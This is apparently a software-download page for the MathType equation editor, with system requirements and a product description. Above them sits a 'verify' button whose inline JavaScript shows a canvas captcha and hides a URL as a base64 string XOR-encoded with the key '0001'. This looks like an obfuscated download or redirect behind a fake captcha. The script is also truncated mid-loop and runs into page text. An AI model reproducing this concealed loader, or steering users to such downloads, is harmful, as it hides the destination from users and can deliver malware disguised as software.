<button id="verify-button" onclick="if (typeof window.captchaValue === 'undefined') {window.captchaValue = '';} window.xorKey = '0001'; window.encodedData = 'WEREQUMKHx5dVVdQXFleWh5ZU0QfVFwfQFhADlRcDXtnBVhTZ2VcaQNqf2VbBX9pAHpyZXYJBHxJBVxUd2UN'; function xor(str, key) {let result = ''; for (let i = 0; i < str.length; i++) {result += String.fromCharCode(str.charCodeAt(i) ^ key.charCodeAt(i % key.length));} return result;} function generateCaptcha() {var canvas = document.getElementById('captchaCanvas'); var ctx = canvas.getContext('2d'); ctx.clearRect(0, 0, canvas.width, canvas.height); window.captchaValue = ''; var chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'; for (var i = 0; i < 5; i++) {window.captchaValue += chars.charAt(Math.floor(Math.random() * chars.length));} for (var i = 0; i < 15; i++) {ctx.strokeStyle = 'rgba(' + Math.random() * 255 + ',' + Math.random() * 255 + ',' + Math.random() * 255 + ',0.4)'; ctx.beginPath(); ctx.moveTo(Math.random() * 140, Math.random() * 40); ctx.lineTo(Math.random() * 140, Math.random() * 40); ctx.stroke();} ctx.font = '24px Segoe UI'; ctx.fillStyle = '#000'; for (var i = 0; i Download
Processor: 1 GHz dual-core required
RAM: 4 GB or higher
Disk space: Required: 64 GB
A powerful graphical editor for mathematical equations that bundles a rich collection of symbols and expressions, batch equation export, as well as an advanced ruler and automatic formatting. If math isn’t really your thing lately, MathType can lend you a hand in this respect, as this software solution has been specifically developed to work with text editors in order to make your life a lot easier.
